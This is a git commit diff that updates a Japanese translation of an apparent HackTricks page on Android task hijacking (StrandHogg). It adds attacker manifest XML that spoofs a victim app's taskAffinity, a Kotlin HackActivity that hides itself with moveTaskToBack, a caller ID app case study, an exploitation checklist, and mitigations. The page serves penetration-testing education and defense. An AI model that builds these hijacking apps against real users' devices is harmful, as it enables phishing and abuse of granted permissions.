Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h

This commit is contained in:
Translator 2025-07-23 06:11:18 +00:00
parent ac7bfb6988
commit 59ec96f7cd

View File

@ -4,9 +4,9 @@
## タスク、バックスタックとフォアグラウンドアクティビティ ## タスク、バックスタックとフォアグラウンドアクティビティ
Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックはアクティビティが開かれた順に並べられ、最も最近のアクティビティが最上部に表示され、**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。 Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックはアクティビティが開かれた順に並べられ、最も最近のアクティビティが最上部に表示され、これが**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。
アクティビティの遷移の簡単な内訳は以下の通りです: アクティビティの遷移の簡単な説明は以下の通りです:
- **アクティビティ 1** はフォアグラウンドの唯一のアクティビティとして開始されます。 - **アクティビティ 1** はフォアグラウンドの唯一のアクティビティとして開始されます。
- **アクティビティ 2** を起動すると、**アクティビティ 1** はバックスタックに押し出され、**アクティビティ 2** がフォアグラウンドに来ます。 - **アクティビティ 2** を起動すると、**アクティビティ 1** はバックスタックに押し出され、**アクティビティ 2** がフォアグラウンドに来ます。
@ -15,39 +15,89 @@ Androidにおいて、**タスク**はユーザーが特定の作業を完了す
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>) ![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>)
---
## タスクアフィニティ攻撃 ## タスクアフィニティ攻撃
### タスクアフィニティと起動モードの概要 `taskAffinity`は、`Activity`が*属したい*タスクをAndroidに伝えます。2つのアクティビティが同じアフィニティを共有している場合、**Androidは異なるAPKから来たものであっても、それらを同じバックスタック内にマージすることが許可されます**。
Androidアプリケーションにおいて、**タスクアフィニティ**はアクティビティの好ましいタスクを指定し、通常はアプリのパッケージ名に一致します。この設定は、攻撃を示すための概念実証PoCアプリを作成するのに重要です。 攻撃者がそのスタックの**ルート**に悪意のあるアクティビティを配置できれば、被害者が正当なアプリケーションを開くたびに、悪意のあるUIがユーザーの最初に表示されます - フィッシングや悪用の権限要求に最適です。
### 起動モード 攻撃面は多くの開発者が考えるよりも広範囲で、**すべてのアクティビティは自動的にアプリケーションパッケージ名と等しいアフィニティを継承します**(開発者が`android:taskAffinity=""`を設定しない限り)。したがって、*何もしない*ことは、Android 11以前のバージョンでタスクハイジャックに対してアプリを開いたままにします。
`launchMode`属性は、タスク内のアクティビティインスタンスの処理を指示します。**singleTask**モードはこの攻撃にとって重要であり、既存のアクティビティインスタンスとタスクアフィニティの一致に基づいて3つのシナリオを指示します。攻撃者のアプリがターゲットアプリのタスクアフィニティを模倣する能力に依存し、Androidシステムを誤導して攻撃者のアプリを起動させます。 ### クラシックな「singleTask / StrandHogg」シナリオ
### 詳細な攻撃手順 1. 攻撃者は次のようにアクティビティを宣言します:
```xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
2. 悪意のあるアプリが一度起動され、タスク(偽のアフィニティを持つ)が最近のタスクに存在します。
3. ユーザーが後で本物のアプリケーションを開くと、Androidは**ルートアフィニティがパッケージと一致するタスク**がすでに存在することを見つけ、そのタスクをフォアグラウンドに持ってきます。
4. 攻撃者のUIが最初に表示されます。
1. **悪意のあるアプリのインストール**: 被害者は攻撃者のアプリをデバイスにインストールします。 ### デフォルトアフィニティ(`singleTask`なし)バリアント - コーラーIDケーススタディ
2. **初期アクティベーション**: 被害者は最初に悪意のあるアプリを開き、攻撃の準備をします。
3. **ターゲットアプリの起動試行**: 被害者はターゲットアプリを開こうとします。
4. **ハイジャックの実行**: ある時点でアプリが**singleTask**ビューを開こうとします。タスクアフィニティが一致するため、悪意のあるアプリがターゲットアプリの代わりに起動されます。
5. **欺瞞**: 悪意のあるアプリはターゲットアプリに似た偽のログイン画面を表示し、ユーザーを騙して機密情報を入力させます。
> [!TIP] **コーラーIDcaller.id.phone.number.block**アプリケーションで報告された脆弱性は、攻撃がデフォルトの`standard`起動モードに対しても*機能する*ことを示しています:
> この攻撃が機能するためには、脆弱なビューが**exported to true**である必要はなく、メインアクティビティである必要もありません。
この攻撃の実践的な実装については、GitHubのTask Hijacking Strandhoggリポジトリを参照してください: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg)。 1. 攻撃者アプリケーションは偽のルートアクティビティを作成し、すぐに自分自身を隠します:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // タスクを最近のものに保ちながら視界から外す
}
}
```
2. マニフェストは被害者のパッケージを`taskAffinity`にコピーするだけで済みます:
```xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
3. ユーザーが悪意のあるアプリを**一度**インストールして開くと、被害者パッケージと等しいアフィニティを持つタスクが存在します(ただしバックグラウンドにあります)。
4. 本物のコーラーIDアプリケーションが起動されると、Androidはそのタスクを再利用し、`HackActivity`をフォアグラウンドに持ってきます → フィッシングウィンドウ/権限の悪用。
### 予防策 > 注:**Android 11API 30**以降、システムは*デフォルトで*同じUIDに属さない2つのパッケージを同じタスクに配置しないため、この特定のバリアントを軽減します。古いバージョンは依然として脆弱です。
このような攻撃を防ぐために、開発者は以下を行うことができます: ---
- **`taskAffinity`**を**singleTask**ビューの空文字列に設定する (`android:taskAffinity=""`)
- **`singleInstance`**起動モードを選択し、他のアプリからの隔離を確保する。
- **`onBackPressed()`**関数をカスタマイズして、タスクハイジャックに対する追加の保護を提供する。
## **参考文献** ## 検出と悪用チェックリスト
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) 1. ターゲットAPKから`AndroidManifest.xml`を引き出し、各`<activity>`(またはグローバル`<application>`要素)が`android:taskAffinity=""`(空)**または**カスタマイズされた値を含んでいるか確認します。
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) 2. そうでない場合、悪意のあるアプリを作成します:
- `android:taskAffinity` = 被害者パッケージ名。
- ユーザーが一度開けるように`MAIN/LAUNCHER`インテントを提供します。
- 必要に応じて、すぐに隠すために`moveTaskToBack(true)`を呼び出します。
3. 被害者に正当なアプリケーションを開かせる → ハイジャック。
## 緩和策
開発者は以下を行うべきです:
* `<application>`レベルで`android:taskAffinity=""`を明示的に設定する(推奨)**または**各アクティビティにユニークでプライベートなアフィニティを与えます。
* 非常に敏感な画面に対しては、上記を`android:launchMode="singleInstance"`または現代の[`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode)保護と組み合わせます。
* アプリの`targetSdkVersion`をアップグレードし、タスクがデフォルトでパッケージ間で共有されない**Android 11**の動作変更を強制します。
---
## 参考文献
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}